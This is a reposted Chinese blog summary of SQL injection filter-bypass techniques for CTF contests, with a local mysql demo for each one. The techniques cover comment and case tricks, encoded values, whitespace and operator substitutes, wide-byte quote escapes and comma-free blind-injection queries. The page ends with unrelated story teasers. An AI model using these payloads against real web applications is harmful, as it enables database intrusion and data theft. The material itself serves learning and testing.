【转】sql注入绕过方法总结

前言

SQL在CTF每一次比赛中基本上都会出现,所以有了这一篇总结,防忘,最后更新于2018/10/11。

简而言之:SQL注入用户输入的数据变成了代码被执行

    string sql = "select id,no from user where id=" + id;

我们希望用户输入的 id 的值,仅仅是一个字符串,传入数据库执行,但是当输入了: 2 or 1=1 时,其中的 or 1=1 是作为了 sql语句 来执行的。

sql注入绕过

注释符号绕过

常用的注释符有

-- 注释内容
# 注释内容
/*注释内容*/
;

实例

mysql> select * from users -- where id = 1;
    -> ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
|  2 | user2    | pass1    |

mysql> select * from users # where id = 2;
    -> ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
|  2 | user2    | pass1    |

mysql> select * from users where id = 3 /*+1*/
    -> ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  3 | test3    | pass1    |
+----+----------+----------+
1 row in set (0.00 sec)

大小写绕过

常用于 waf的正则对大小写不敏感的情况,一般都是题目自己故意这样设计。
例如:waf过滤了关键字select,可以尝试使用Select等绕过。

mysql> select * from users where id = -1 union select 1,2,3
    -> ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 3        |
+----+----------+----------+
1 row in set (0.00 sec)

#大小写绕过
mysql> select * from users where id = -1 union Select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 3        |
+----+----------+----------+

内联注释绕过

内联注释就是把一些特有的仅在MYSQL上的语句放在 /*!...*/ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。

mysql> select * from users where id = -1 union /*!select*/ 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 3        |
+----+----------+----------+

双写关键字绕过

在某一些简单的waf中,将关键字select等只使用replace()函数置换为空,这时候可以使用双写关键字绕过。例如select变成seleselectct,在经过waf的处理之后又变成select,达到绕过的要求。

特殊编码绕过

  • 十六进制绕过
mysql> select * from users where username = 0x7465737431;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+

  • ascii编码绕过
    Test 等价于
    CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
    tip:好像新版mysql不能用了

空格过滤绕过

一般绕过空格过滤的方法有以下几种方法来取代空格

/**/
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格

实例

mysql> select/**/*/**/from/**/users;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
|  2 | user2    | pass1    |
|  3 | test3    | pass1    |
+----+----------+----------+

#注意括号中不能含有*
mysql> select(id)from(users);
+----+
| id |
+----+
|  1 |
|  3 |

mysql> select
    -> *
    -> from 
    -> users
    -> where 
    -> id = 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+

mysql> select`id`from`users`where`id`=1;
+----+
| id |
+----+
|  1 |
+----+

过滤or and xor not 绕过

and = &&
or = ||
xor = | # 异或
not = !

过滤等号=绕过

  • 不加通配符like执行的效果和=一致,所以可以用来绕过。

正常加上通配符的like

mysql> select * from users where username like "test%";
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
|  3 | test3    | pass1    |
+----+----------+----------+

不加上通配符的like可以用来取代=

mysql> select * from users where id like 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+

  • rlike:模糊匹配,只要字段的值中存在要查找的 部分 就会被选择出来
    用来取代=时,rlike的用法和上面的like一样,没有通配符效果和=一样
mysql> select * from users where id rlike 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+

  • regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配
mysql> select * from users where id regexp 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+

  • 使用大小于号来绕过
mysql> select * from users where id > 1 and id < 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  2 | user2    | pass1    |
+----+----------+----------+

  • <> 等价于 !=
    所以在前面再加一个!结果就是等号了
mysql> select * from users where !(id <> 1);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id = 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
1 row in set (0.00 sec)

等号绕过也可以使用strcmp(str1,str2)函数、between关键字等,具体可以参考后面的过滤大小于号绕过

过滤大小于号绕过

在sql盲注中,一般使用大小于号来判断ascii码值的大小来达到爆破的效果。但是如果过滤了大小于号的话,那就凉凉。怎么会呢,可以使用以下的关键字来绕过

  • greatest(n1, n2, n3…):返回n中的最大值
mysql> select * from users where id = 1 and greatest(ascii(substr(username,1,1)),1)=116;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+

  • least(n1,n2,n3…):返回n中的最小值

  • strcmp(str1,str2):若所有的字符串均相同,则返回STRCMP(),若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1

mysql> select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),117);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),116);
Empty set (0.00 sec)

  • in关键字
mysql> select * from users where id = 1 and substr(username,1,1) in ('t');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
1 row in set (0.01 sec)

mysql> select * from users where id = 1 and substr(username,1,1) in ('y');
Empty set (0.00 sec)

  • between a and b:范围在a-b之间
mysql> select * from users where id between 1 and 2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
|  2 | user2    | pass1    |
+----+----------+----------+
2 rows in set (0.00 sec)

mysql> select * from users where id = 1 and substr(username,1,1) between 'a' and 'b';
Empty set (0.00 sec)

mysql> select * from users where id = 1 and substr(username,1,1) between 'a' and 't';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
1 row in set (0.00 sec)

使用between a and b判等

mysql> select * from users where id = 1 and substr(username,1,1) between 't' and 't';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+

过滤引号绕过

  • 使用十六进制
select column_name  from information_schema.tables where table_name=0x7573657273;

  • 宽字节

常用在web应用使用的字符集为GBK时,并且过滤了引号,就可以试试宽字节。

# 过滤单引号时
%bf%27 %df%27 %aa%27

%df\’ = %df%5c%27=縗’

过滤逗号绕过

sql盲注时常用到以下的函数:

  • substr()
    • substr(string, pos, len):从pos开始,取长度为len的子串
    • substr(string, pos):从pos开始,取到string的最后
  • substring()
    • 用法和substr()一样
  • mid()
    • 用法和substr()一样,但是mid()是为了向下兼容VB6.0,已经过时,以上的几个函数的pos都是从1开始的
  • left()和right()
    • left(string, len)和right(string, len):分别是从左或从右取string中长度为len的子串
  • limit
    • limit pos len:在返回项中从pos开始去len个返回值,pos的从0开始
  • ascii()和char()
    • ascii(char):把char这个字符转为ascii码
    • char(ascii_int):和ascii()的作用相反,将ascii码转字符

回到正题,如果waf过滤了逗号,并且只能盲注(盲注基本离不开逗号啊喂),在取子串的几个函数中,有一个替代逗号的方法就是使用from pos for len,其中pos代表从pos个开始读取len长度的子串
例如在substr()等函数中,常规的写法是

mysql> select substr("string",1,3);
+----------------------+
| substr("string",1,3) |
+----------------------+
| str                  |
+----------------------+

  • 如果过滤了逗号,可以这样使用from pos for len来取代
mysql> select substr("string" from 1 for 3);
+-------------------------------+
| substr("string" from 1 for 3) |
+-------------------------------+
| str                           |
+-------------------------------+
1 row in set (0.00 sec)

在sql盲注中,如果过滤逗号,以下参考下面的写法绕过

mysql> select ascii(substr(database() from 1 for 1)) > 120;
+----------------------------------------------+
| ascii(substr(database() from 1 for 1)) > 120 |
+----------------------------------------------+
|                                            0 |
+----------------------------------------------+
1 row in set (0.00 sec)

mysql> select ascii(substr(database() from 1 for 1)) > 110;
+----------------------------------------------+
| ascii(substr(database() from 1 for 1)) > 110 |
+----------------------------------------------+
|                                            1 |
+----------------------------------------------+

  • 也可使用join关键字来绕过
mysql> select * from users  union select * from (select 1)a join (select 2)b join(select 3)c;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
|  2 | user2    | pass1    |
|  3 | test3    | pass1    |
|  1 | 2        | 3        |
+----+----------+----------+

其中的

union select * from (select 1)a join (select 2)b join(select 3)c

等价于

union select 1,2,3

  • 使用like关键字
    适用于substr()等提取子串的函数中的逗号
mysql> select ascii(substr(user(),1,1))=114;
+-------------------------------+
| ascii(substr(user(),1,1))=114 |
+-------------------------------+
|                             1 |
+-------------------------------+

mysql> select user() like "r%";
+------------------+
| user() like "r%" |
+------------------+
|                1 |
+------------------+

mysql> select user() like "t%";
+------------------+
| user() like "t%" |
+------------------+
|                0 |
+------------------+

  • 使用offset关键字
    适用于limit中的逗号被过滤的情况
    limit 2,1等价于limit 1 offset 2
mysql> select * from users limit 2,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  3 | test3    | pass1    |
+----+----------+----------+

mysql> select * from users limit 1 offset 2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  3 | test3    | pass1    |
+----+----------+----------+

过滤函数绕过

  • sleep() -->benchmark()
mysql> select 12,23 and sleep(1);
+----+-----------------+
| 12 | 23 and sleep(1) |
+----+-----------------+
| 12 |               0 |
+----+-----------------+
1 row in set (1.00 sec)

# MySQL有一个内置的BENCHMARK()函数,可以测试某些特定操作的执行速度。 
参数可以是需要执行的次数和表达式。第一个参数是执行次数,第二个执行的表达式
mysql> select 12,23 and benchmark(1000000000,1);
+----+--------------------------------+
| 12 | 23 and benchmark(1000000000,1) |
+----+--------------------------------+
| 12 |                              0 |
+----+--------------------------------+
1 row in set (4.61 sec)

  • ascii()–>hex()、bin()
    替代之后再使用对应的进制转string即可
  • group_concat()–>concat_ws()
mysql> select group_concat("str1","str2");
+-----------------------------+
| group_concat("str1","str2") |
+-----------------------------+
| str1str2                    |
+-----------------------------+
1 row in set (0.00 sec)

#第一个参数为分隔符
mysql> select concat_ws(",","str1","str2");
+------------------------------+
| concat_ws(",","str1","str2") |
+------------------------------+
| str1,str2                    |
+------------------------------+

  • substr(),substring(),mid()可以相互取代, 取子串的函数还有left(),right()
  • user() --> @@user、datadir–>@@datadir
  • ord()–>ascii():这两个函数在处理英文时效果一样,但是处理中文等时不一致。
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,458评论 4 363
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,454评论 1 294
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 109,171评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,062评论 0 207
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,440评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,661评论 1 219
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,906评论 2 313
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,609评论 0 200
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,379评论 1 246
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,600评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,085评论 1 261
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,409评论 2 254
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,072评论 3 237
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,088评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,860评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,704评论 2 276
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,608评论 2 270